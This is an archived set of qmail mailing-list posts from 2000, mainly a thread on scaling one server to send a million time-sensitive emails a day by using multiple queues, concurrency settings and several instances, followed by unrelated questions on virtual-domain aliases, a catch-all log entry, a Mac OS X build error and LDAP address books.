partition is filled, so we've ordered a 36 G disk for queue
to sit in.
We've got plenty of bandwidth at our colocation facility,
(4Mb/s) so I don't believe that is the holdup either.
The main issue: we'll soon be sending out blasts of 1M at a
time which are time sensitive and need to get delivered in 1
day. When I enter this sort of game, do I need to already
start thinking clustering solution? What is the max
performance one solo box (like I have above) can do with the
type of mailouts I'm doing? Any help will be appreciated.
Thanks,
Thomas
PS - The box was running REdhat 7.0, but we're reinstalling
and using FreeBSD 4.0 now....haven't run enough tests to see
what sort of difference this will make.
PSS - I used to run things by building a large qmail alias
(100K users) list and use that to send out the mail... qmail
would send all that out in about 2 hours.... (which is the
type of performance I'm looking for)
From: Thomas Duterme <[EMAIL PROTECTED]>
>I'm running a Dell 4300 (512 RAM, 4*9GB of Disk - queue sits
>on a 9GB partition, CPU=550Mhz PIII...)
(snip)
>We've got plenty of bandwidth at our colocation facility,
>(4Mb/s) so I don't believe that is the holdup either.
If you fill up a 9G partition with the queue, that means that you have about
9G to transfer. Over a 4Mb/s line, and if my 'rithmetic isn't wrong, even if
you filled completely the bandwidth that would mean at least 5 hours
(9e9*8/4e6/3600).
*But* you're using SMTP, and many sites (hotmail.com for one) take enormous
time to handle SMTP. This in fact reduces the usable bandwidth (again for
hotmail.com, around 600kb/s on a good day from Europe, in my experience).
You can increase parallelism (concurrencyremote) to try to send more mails
at the same time and optimize the bandwidth, but this only goes so far.
OTOH, you've got plenty of CPU and RAM, so clustering would be a waste of
the same.
Where I you, I would:
1) Setup additional qmail-queues in the same machine (using different disks
for each queue, so as to minimize seek time). All of those set to 240
concurrency local (requires trivial change on compiling qmail)
2) Change the dynamic Java thing to send to each queue in turn, and use
qmail-inject instead of SMTP (this avoids having to create as many SMTP
ports)
3) All bounces would be handled by a single qmail, of course
Note that your gain would still be limited by the bandwidth: 1 M messages of
that size a day requires more bandwidth or smaller messages.
Armando
Hi Armando,
Thanks very much for your helpful reply.
>
> *But* you're using SMTP, and many sites (hotmail.com for one) take enormous
> time to handle SMTP. This in fact reduces the usable bandwidth (again for
> hotmail.com, around 600kb/s on a good day from Europe, in my experience).
> You can increase parallelism (concurrencyremote) to try to send more mails
> at the same time and optimize the bandwidth, but this only goes so far.
Well, I'm based out of China actually, and a large majority of our users are
using
email servers which are based in China...
>
> 1) Setup additional qmail-queues in the same machine (using different disks
> for each queue, so as to minimize seek time). All of those set to 240
> concurrency local (requires trivial change on compiling qmail)
>
hmmm.... we had a problem once when we set concurrency to 240...one time all of
our
mail bounced back and we found that many of the Chinese ISPs blocked us since
we had
ended up flooding their servers...that's why we scaled back to the modest 20
concurrent connections.
Have you had any of the same thing happen? I've done this at 120 concurrent
connections,
but I don't want to push it too much.
>
> 2) Change the dynamic Java thing to send to each queue in turn, and use
> qmail-inject instead of SMTP (this avoids having to create as many SMTP
> ports)
>
oohh, I think I understand. Call qmail-inject directly to bypass the local
SMTP step
we've been doing, right? Just on a sidenote, opening so many local ports like
I've been
doing....what adverse effects would this have on tha mailout.
Also, would you advise changing the qmail-inject source directly to sort which
queue the mail is
injected in? Yes, this qmail server only acts as a sender and doesn't recieve
any mail or bounces.
>
> 3) All bounces would be handled by a single qmail, of course
>
yup. I'm with you on this one.
>
> Note that your gain would still be limited by the bandwidth: 1 M messages of
> that size a day requires more bandwidth or smaller messages.
Hi Marlon,
Thanks very much for your reply.
>
> How about increasing your concurrencyremote to something
> like 100? you most likely are hitting your limits.
>
Good point. Will try that tonight. I've gotten some
problems before from ISP's blocking us
when I went up to 240...I'm not quite sure what the highest
polite limit on this should be.
>
> If you are running plain vanilla qmail, why not running 4
> instances at a time? each running under a different IP
> address and under a different disk? then you would have a
> concurrencyremote of a total of 400 and I/O is balanced
> accross 4 disks.
>
This sounds really good. I think we'll try it out.
>
> you just have to modify your smtp injection script to load
> balance accross the 4 instances.
>
> Thanks,
> Marlon
>
Am Mittwoch, 6. Dezember 2000 22:04 schrieb Thomas Duterme:
> > How about increasing your concurrencyremote to something
> > like 100? you most likely are hitting your limits.
>
> Good point. Will try that tonight. I've gotten some
> problems before from ISP's blocking us
> when I went up to 240...I'm not quite sure what the highest
> polite limit on this should be.
Hmm, even with 20 concurrent connections our servers was blocked by some
braindead freemailer's servers when one of our customers sent out a
newsletter...
I don't think there is a common "highest polite limit", you have to figure it
out for your country, even for your typical recipients.
Greetings
Henning
--
Henning Brauer | BS Web Services
Hostmaster BSWS | Roedingsmarkt 14
[EMAIL PROTECTED] | 20459 Hamburg
www.bsws.de | Germany
Can someone point me to the docs that can conver this specifically
I have 3 domains
domain1.com
domain2.net
domain3.org
OK I have a user
[EMAIL PROTECTED] who should also get mail for [EMAIL PROTECTED] and
[EMAIL PROTECTED]
OK lets say I have 3 bob users (I acquired a few ISP's :)
[EMAIL PROTECTED] can not change it is fixed
bob-d2 user should get the e-mail for bob-d2@domain1,2,3 and needs to also
get e-mail for [EMAIL PROTECTED]
then
bob-d3 user should get the e-mail for bob-d3@domain1,2,3 and needs to also
get e-mail for [EMAIL PROTECTED]
Again I can not touch the user bob other than to add a forward or
something to the account to move the mail to ther others.
I am looking for the best method to handle this.. And yes there are
hundreds of these and thousands of total users and increments by hunders
per day..
Thanks again for anyones help..
--Matt
after setting up a catch-all in users/assign like this:
+hydrogen2-:popuser:888:888:/var/qmail/popboxes/netwyred-com/jeremy:::
i send a mail to [EMAIL PROTECTED]
this shows up in the log
delivery 684: success:
user_=_popuser,_homedir_=_/var/qmail/popboxes/somenetwork-com/jeremy/Sendmail_arguments:_"send-mail"_"-i"_"[EMAIL PROTECTED]"_"popuser"/did_0+0+1/
what's going on?
- jeremy
Hello,
I'm trying to install the qmail on macosxserver 1.2 and there is an
error message:
../compile auto-str.c
../load auto-str substdio.a error.a str.a
/usr/bin/ld: can't use -s with input files containg indirect symbols
(output file must contain at least global symbols, for maximum
stripping use -x)
make: *** [auto-str] Error 1
What can I do? Please help!
Zoltan
Hi all...
I have, possibly, a simple question.
In about 2 days, I'm going to setup LDAP for directory services for our org.
A question that has just sprung to mind is public address books and LDAP!!
I'd like to allow any of our users to add and remove "public" address book
entries.
There is going to be a secure, private, address book list also.
Is this possible ?
Is there a web interface for LDAP that allows this ?
Cheers
Dennis
